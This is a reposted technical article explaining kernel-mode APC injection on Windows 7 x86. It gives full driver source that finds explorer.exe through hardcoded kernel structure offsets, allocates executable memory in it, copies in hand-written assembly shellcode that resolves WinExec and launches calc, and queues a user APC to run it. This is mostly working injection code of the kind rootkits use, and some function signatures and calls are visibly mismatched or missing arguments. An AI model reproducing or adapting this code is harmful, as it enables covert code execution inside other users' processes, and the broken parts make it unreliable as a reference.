加入收藏 | 设为首页 | 会员中心 | 我要投稿 李大同 (https://www.lidatong.com.cn/)- 科技、建站、经验、云计算、5G、大数据,站长网!
当前位置: 首页 > 综合聚焦 > 服务器 > Windows > 正文

APC Injection of Windows 7 x86 in R0

发布时间:2020-12-14 06:00:08 所属栏目:Windows 来源:网络整理
导读:APC Injection of Windows 7 x86 in R0 Introduction When running in kernel mode,it may be necessary to inject code into a User-land process. We can use the Asynchronous Procedure Calls(APCs) to accomplish this goal. An APC can "borrow" a pro

APC Injection of Windows 7 x86 in R0

Introduction

When running in kernel mode,it may be necessary to inject code into a User-land process. We can use the Asynchronous Procedure Calls(APCs) to accomplish this goal. An APC can "borrow" a process thread that is in an idle alertable state,and while it relies on structures whose offset change between versions of Microsoft Windows,it is one of the most reliable and easiest way to exit kernel mode and enter user mode.

In this article,I write some basic knowledge of APC and finished a sample of APC injection which can pop a calculator in windows 7 x86.

Base code is shamelessly stolen from Justgoon .For more information,you can click the link to see his original article : x64与x64下内核APC注入(有码)

https://bbs.pediy.com/thread-222438.htm

What is APCs

? According to the MSND: An asynchronous procedure call (APC) is a function that executes asynchronously in the context of a particular thread. When an APC is queued to a thread,the system issues a software interrupt. The next time the thread is scheduled,it will run the APC function. An APC generated by the system is called a kernel-mode APC. An APC generated by an application is called a user-mode APC. A thread must be in an alertable state to run a user-mode APC.

? Each thread has its own APC queue. When a user-mode APC is queued,the thread to which it is queued is not directed to call the APC function unless it is in an alertable state. A thread enters an alertable state when it calls the SleepEx,SingnalObjectAndWait,MsgWaitForMultipleObjectsEx,WaitForMultipleObjetsEx,or WaitForSingleObjectEx function. If the wait is satisfied before the APC is queued,the thread is no longer in an alertable state so the APC function will not be executed. However,the APC is still queued,so the APC function will be executed when the thread calls another alertable wait function.

We can use the dt command in windbg to displays information about the APC‘s.

The _KAPC structure. This is the Kernel Object of the APC.

kd> dt _kapc
ntdll!_KAPC
   +0x000 Type             : //Type of ApcObject
   +0x001 SpareByte0       : 
   +0x002 Size             : 
   +0x003 SpareByte1       : 
   +0x004 SpareLong0       : 
   +0x008 Thread           : //_KTHREAD of current thread
   +0x00c ApcListEntry     : //APC queue of current thread
   +0x014 KernelRoutine    : 
   +0x018 RundownRoutine   : 
   +0x01c NormalRoutine    : 
   +0x020 NormalContext    : //
   +0x024 SystemArgument1  : 
   +0x028 SystemArgument2  : 
   +0x02c ApcStateIndex    : // Apc State
   +0x02d ApcMode          : // UserMode or KernelMode
   +0x02e Inserted         : // inserted into the queue?

APC queue information in the _KTHREAD

kd> dt _kthread
ntdll!_KTHREAD
    ...
   +0x040 ApcState         : _KAPC_STATE
   +0x040 ApcStateFill     : [23] UChar
    ...

In the _KAPC_STATE,the last filed determined if the user APC function be called.

kd> dt _KAPC_STATE
ntdll!_KAPC_STATE
   +0x000 ApcListHead      : [2] _LIST_ENTRY
   +0x010 Process          : Ptr32 _KPROCESS
   +0x014 KernelApcInProgress : UChar
   +0x015 KernelApcPending : UChar
   +0x016 UserApcPending   : UChar // work when set to 1

How to Insert a APC into a process

To insert a APC in the process from r0 to r3,essentially performs the following:

  • Step1: Find the suitable process and thread object which can be injected APC.
  • Step2: Get the target process handle by ObOpenObjectByPointer.
  • Step3: Invokes ZwAllocateVirtualMemory to commit a piece of memory in target process for storing the APC shellcode.
  • Step4: Set the UserApcPending to 1
  • Step5: Invokes KeInitializeApc to initialize a APC object
  • Step6: Invokes KeInsertQueueApc to insert APC to the target thread.

Code

Header.h

#include<ntifs.h>
#include<ntddk.h>


//Some type
#define POINTER ULONG

//EPROCESS OFFSET
#define OBJECTTABLE_OFFSET 0xf4
#define IMAGEFILENAME_OFFSET 0x16c
#define ACTIVEPROCESSLINKS_OFFSET 0xb8
#define THREADLISTHEAD_OFFSET 0x188

//ETHREAD OFFSET
#define THREADLISTENTRY_OFFSET 0x268

//KTHREAD OFFSET
#define TEB_OFFSET  0x88 
#define USERAPCPENDING_OFFSET  0x56

//
typedef enum _KAPC_ENVIRONMENT {
    OriginalApcEnvironment,AttachedApcEnvironment,CurrentApcEnvironment
} KAPC_ENVIRONMENT;
//
VOID DriverUnload(IN PDRIVER_OBJECT pDrvObj);

VOID ThreadFunc(IN PVOID pParam);
BOOLEAN InsertApc(POINTER tarEthread,POINTER addrAllocMem,PKEVENT pKevent);
BOOLEAN FindTargetEProcessAndEthread(POINTER* ptarEprocess,POINTER* ptarEthread);


void UserExec();
void UserExec_end(VOID);


/* Function prototypes for APCs */
VOID
KeInitializeApc(
PKAPC Apc,PKTHREAD Thread,CCHAR ApcStateIndex,PVOID KernelRoutine,PVOID RundownRoutine,PVOID NormalRoutine,KPROCESSOR_MODE ApcMode,PVOID NormalContext
);

INT
KeInsertQueueApc(
PKAPC Apc,PVOID SystemArgument1,PVOID SystemArgument2,UCHAR unknown
);
VOID KernelApcCallback(PKAPC Apc,PVOID *NormalRoutine,PVOID *NormalContext,PVOID* SystemArg1,PVOID* SystemArg2);

source.c

#include "Header.h"

NTSTATUS DriverEntry(IN PDRIVER_OBJECT pDrvObj,IN PUNICODE_STRING pRegStr)
{
    UNREFERENCED_PARAMETER(pRegStr);

    NTSTATUS ntStatus = STATUS_SUCCESS;

    DbgPrint("[+] DriverEntry !n");

    pDrvObj->DriverUnload = DriverUnload;

    HANDLE hThread;
    ntStatus = PsCreateSystemThread(
        &hThread,NULL,NtCurrentProcess(),ThreadFunc,NULL
        );
    if (!NT_SUCCESS(ntStatus))
    {
        DbgPrint("[-] PsCreateSystemThread Failed!n");
    }
    return ntStatus;
}

VOID DriverUnload(IN PDRIVER_OBJECT pDrvObj)
{
    UNREFERENCED_PARAMETER(pDrvObj);
    DbgPrint("[+] DriverUnload!n");
}

VOID ThreadFunc(IN PVOID pParam)
{
    UNREFERENCED_PARAMETER(pParam);

    BOOLEAN bTrue = TRUE;
    NTSTATUS ntStatus = STATUS_SUCCESS;
    POINTER tarEprocess = 0,tarEthread = 0;
    HANDLE hProcess = NULL;
    PKEVENT pKevent = NULL;
    SIZE_T shellcodeSize = 0;
    PVOID addrAllocMem = NULL;
    KAPC_STATE ApcState;
    
    while (bTrue) // This while is a program skill learn form MSDN
    {
        //Find a process's EPROCESS which can be inserted APC
        if (FindTargetEProcessAndEthread(&tarEprocess,&tarEthread) != TRUE)
        {
            DbgPrint("[-] FindTargetEProcessAndEthread Failed!n");
            break;
        }

        //Alloc mem and copy code in target process
        shellcodeSize = (ULONG)(UserExec_end)-(ULONG)(UserExec);
        DbgPrint("[+] User Thread Shellcode Size: %d bytesn",shellcodeSize);

        ntStatus = ObOpenObjectByPointer((PVOID)tarEprocess,OBJ_KERNEL_HANDLE | OBJ_CASE_INSENSITIVE,GENERIC_ALL,*PsProcessType,KernelMode,&hProcess
            );
        if (!NT_SUCCESS(ntStatus))
        {
            DbgPrint("[-] ObOpenObjectByPointer Failed!n");
            break;
        }

        ntStatus = ZwAllocateVirtualMemory(hProcess,&addrAllocMem,&shellcodeSize,MEM_COMMIT,PAGE_EXECUTE_READWRITE);
        
        if (!NT_SUCCESS(ntStatus))
        {
            DbgPrint("[-] ZwAllocateVirtualMemory Failed!n");
            break;
        }

        KeStackAttachProcess((PEPROCESS)tarEprocess,&ApcState);

        RtlCopyMemory(addrAllocMem,(PVOID)((ULONG)UserExec),shellcodeSize);

        KeUnstackDetachProcess(&ApcState);

        //Create KEVENT
        pKevent = ExAllocatePool(NonPagedPool,sizeof(KEVENT));
        if (!pKevent)
        {
            DbgPrint(("[-] ExAllocatePool(pKevent) Failed!n"));
            break;
        }
        KeInitializeEvent(pKevent,NotificationEvent,FALSE);

        //Insert APC in target process
        if (InsertApc(tarEthread,(ULONG)addrAllocMem,pKevent))
        {
            DbgPrint("[+] Insert Apc Successfully!n");
            KeWaitForSingleObject(pKevent,Executive,FALSE,NULL);
        }
        else
        {
            DbgPrint("[-] Insert Apc Failed!n");
        }   
        break;
    } 

    //Clear
    if (pKevent)
    {
        ExFreePool(pKevent);
    }
    if (hProcess)
    {
        if (addrAllocMem)
        {
            LARGE_INTEGER liTime;
            // Negative value means relative time,not absolute
            liTime =RtlConvertLongToLargeInteger(-(LONG)1000*10000*10);

            //Callers of KeDelayExecutionThread must be running at IRQL <= APC_LEVEL.
            DbgPrint("KeGetCurrentIrql = %dn",KeGetCurrentIrql());
            KeDelayExecutionThread(KernelMode,TRUE,&liTime);

            //Maybe the user mode shellcode executed,otherewise free the shellcode memory will crash the explorer.exe
            ZwFreeVirtualMemory(hProcess,MEM_RELEASE);
        }
        ZwClose(hProcess);
    }
    DbgPrint("[+] Thread End!n");
    //Terminate the system thread
    PsTerminateSystemThread(STATUS_SUCCESS);
}

BOOLEAN InsertApc(POINTER tarEthread,PKEVENT pKevent )
{
    PKAPC pKapc;
    
    pKapc = ExAllocatePool(NonPagedPool,sizeof(KAPC));
    if (pKapc == NULL)
    {
        DbgPrint("[-] ExAllocatePool(NonPagedPool,sizeof(KAPC)) Failed!n");
        return FALSE;
    }

    //Initialize APC 
    KeInitializeApc(pKapc,(PKTHREAD)tarEthread,OriginalApcEnvironment,(PVOID)(ULONG)KernelApcCallback,(PVOID)addrAllocMem,UserMode,NULL);
    //Set the _ETHREAD._KTHREAD._KAPC_STATE.UserApcPending
    DbgPrint("[+] xxx %xn",tarEthread);
    *((PUCHAR)(tarEthread + USERAPCPENDING_OFFSET)) = 1;
    if (!KeInsertQueueApc(pKapc,pKevent,(PVOID)tarEthread,0))
    {
        //Reset the _ETHREAD._KTHREAD._KAPC_STATE.UserApcPending
        *((PUCHAR)(tarEthread + USERAPCPENDING_OFFSET)) = 0;
        ExFreePool(pKapc);
        DbgPrint("[-] KeInsertQueueApc Failed!n");
        return FALSE;
    }
    return TRUE;
}

VOID KernelApcCallback(PKAPC Apc,PVOID* SystemArg2)
{
    UNREFERENCED_PARAMETER(NormalRoutine);
    UNREFERENCED_PARAMETER(NormalContext);
    UNREFERENCED_PARAMETER(SystemArg2);

    PKEVENT pKevent;
    POINTER tarEthread;
    pKevent = (PKEVENT)*SystemArg1;
    tarEthread = (POINTER)*SystemArg2;
    if (pKevent)
    {
        //Reset the _ETHREAD._KTHREAD._KAPC_STATE.UserApcPending    
        *((PUCHAR)(tarEthread + USERAPCPENDING_OFFSET)) = 0;
        KeSetEvent(pKevent,IO_NO_INCREMENT,FALSE);
    }

    ExFreePool(Apc);
    
}

BOOLEAN FindTargetEProcessAndEthread(POINTER* ptarEprocess,POINTER* ptarEthread)
{
    
    POINTER beginEprocess,curEprocess,beginEthread,curEthread;
    BOOLEAN bRet = FALSE;

    beginEprocess = (POINTER)PsGetCurrentProcess();
    curEprocess = beginEprocess;

    //Travser backwards from the current eprocess to find the explorer's eprocess
    do
    {
        //eprocess.ObjectTable == NULL means it is a dead process
        if (*((POINTER*)(curEprocess + OBJECTTABLE_OFFSET)) != 0 && 0 == _stricmp(((char*)(curEprocess + IMAGEFILENAME_OFFSET)),"explorer.exe"))
        {
            *ptarEprocess = curEprocess;
            bRet = TRUE;
            break;
        }
        curEprocess = *((POINTER*)(curEprocess + ACTIVEPROCESSLINKS_OFFSET)) - ACTIVEPROCESSLINKS_OFFSET;

    } while (curEprocess != beginEprocess);
    //Travers thread
    if (bRet)
    {
        bRet = FALSE;
        beginEthread = *((POINTER*)(*ptarEprocess + THREADLISTHEAD_OFFSET)) - THREADLISTENTRY_OFFSET;
        curEthread = beginEthread;
        do
        {
            if (*((POINTER*)(curEthread + TEB_OFFSET)) != 0)
            {
                *ptarEthread = curEthread;
                bRet = TRUE;
                break;
            }
            curEthread = *((POINTER*)(beginEthread + THREADLISTENTRY_OFFSET)) - THREADLISTENTRY_OFFSET;
        } while (curEthread!=beginEthread);
    }
    return bRet;
}

__declspec(naked) void UserExec()
{
    __asm
    {
            push        ebp
            mov         ebp,esp
            sub         esp,150h
            pushad
            
            
            mov eax,fs:[0x30];// peb
            mov ebx,[eax + 0xc]; //peb->Ldr
            mov esi,[ebx + 0x14];//peb->Ldr.Inmemorder
            lodsd;//eax="ntdll.dll"
            xchg eax,esi;
            lodsd;//eax="kernel32.dll"
            mov ebx,[eax + 0x10]; //ebx = base address

            mov edx,[ebx + 0x3c]; //DOS->e_ifanew
            add edx,ebx; // PE header
            mov edx,[edx + 0x78];// edx = offset of EAT
            add edx,ebx;// EAT

            mov esi,[edx + 0x20]; //Address of Names(RVA)
            add esi,ebx;//Name Table
            xor ecx,ecx;//index=0

        Find_index:
            inc ecx;
            lodsd;//mov eax,[esi] RVA
            add eax,ebx;
            cmp dword ptr[eax],0x50746547;//PteG
            jnz Find_index;
            cmp dword ptr[eax + 0x4],0x41636f72;//Acor
            jnz Find_index;
            cmp dword ptr[eax + 0x8],0x65726464; //erdd
            jnz Find_index;
            //get!
            mov esi,[edx + 0x24];//AddressOfNameOrdinals RVA
            add esi,ebx;//Ord Table
            mov cx,[esi + ecx * 2];//cx = realindex

            mov esi,[edx + 0x1c];//AddressOfFunction RVA
            add esi,ebx;//
            dec ecx;// indx-1
            mov edx,[esi + ecx * 4];
            add edx,ebx;//GetProcAddress real address


            push 0x00636578;//xec
            push 0x456E6957;//WinE
            push esp;
            push ebx;
            call edx;
            add esp,8
            push 0;
            push 0x636c6163;//calc
            mov edi,esp;
            push 0;
            push edi;
            call eax;
            add esp,8
            
            
            popad
            mov         esp,ebp
            pop         ebp
            ret
    }
}

__declspec(naked) void UserExec_end(VOID)
{

}

Conclusion

(编辑:李大同)

【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!

    推荐文章
      热点阅读